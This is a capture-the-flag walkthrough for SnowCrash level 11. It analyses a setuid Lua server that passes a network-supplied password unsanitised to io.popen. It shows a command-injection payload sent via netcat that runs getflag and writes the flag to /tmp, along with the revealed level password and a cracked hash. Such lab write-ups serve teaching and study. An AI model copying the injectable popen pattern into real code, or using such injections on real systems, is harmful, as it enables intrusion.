> For the complete documentation index, see [llms.txt](https://suddin.gitbook.io/snow-crash/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://suddin.gitbook.io/snow-crash/level11.md).

# Level11

When we login as **Level11** we get the following file in our home directory

```bash
level11@SnowCrash:~$ ls -l
total 4
-rwsr-sr-x 1 flag11 level11 668 Mar  5  2016 level11.lua
```

**level11.lua** is a [Lua](https://www.lua.org/about.html) script that contain the following code :

{% tabs %}
{% tab title="level11.lua" %}

```lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))

function hash(pass)
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)

      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end

  end

  client:close()
end
```

{% endtab %}
{% endtabs %}

The code is simple. It contains 1 function that that accept one argument called `pass` 

The function `hash` calls a function called `io.popen`, from the Official [Documentation](https://www.lua.org/manual/5.3/manual.html#pdf-io.popen) of *Lua* and this *Stack Overflow* [post](https://stackoverflow.com/a/5243210/4440716) we understand that the function `popen` executes the argument passed to it in the shell. and then the result is read and return to the caller.

We also have an [`infinite loop`](https://en.wikipedia.org/wiki/Infinite_loop) that accepts ant incoming socket connections and ask for **password :**

IF a password is passed then it calls the `hash` function with the user provided password as it's argument and compares ([`~=`](https://www.tutorialspoint.com/lua/lua_operators.htm)) the 2 hashes and if the password is not correct it prints `Erf nope..` else it prints `Erf nope..` and then closes the connection.

from the information in the beginning of program :

```lua
local server = assert(socket.bind("127.0.0.1", 5151))
```

we know the server is running on the [`localhost`](https://en.wikipedia.org/wiki/Localhost) on port `5151` So to test it we can simply use the program [netcat](https://fr.wikipedia.org/wiki/Netcat) (alias : nc) as follows :

```bash
level11@SnowCrash:~$ nc localhost 5151
Password: 
```

By reading the code we know that we can exploit the command that executes our given data in the shell :

```lua
prog = io.popen("echo "..pass.." | sha1sum", "r")
```

So whatever we pass in as **password** will be passed to the string `"echo "..pass.." | sha1sum"`. One IMPORTANT thing to keep in mind is that any data produced in the standard outputs will be [piped](https://en.wikipedia.org/wiki/Pipeline_\(Unix\)) to the next command which is sha1sum

And with everything mentioned before keeping in mind what we must do is to save the data that is sent to the standard output in a file so it is not piped. So we can use the following command to get the hash: 

```bash
level11@SnowCrash:~$ echo '; getflag > /tmp/flag11' | nc localhost 5151; cat /tmp/flag11
Password: Erf nope..
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
```

What we are doing in our command is simply telling to finish the command by `;` and giving a new command that is to call the program `getflag` and saving it's content in a file `/tmp/flag11`.

{% hint style="info" %}
Thanks to [**this**](https://hashkiller.co.uk/Cracker/SHA1) site we know that the original data that was hashed to `f05d1d066fb246efe0c6f7d095f909a7a0cf34a0`  is **NotSoEasy**
{% endhint %}

### Password for next level

So the Password to connect to the account **level12** is `fa6v5ateaw21peobuub8ipe6s`

### Command summery

```bash
level11@SnowCrash:~$ echo '; getflag > /tmp/flag11' | nc localhost 5151; cat /tmp/flag11
```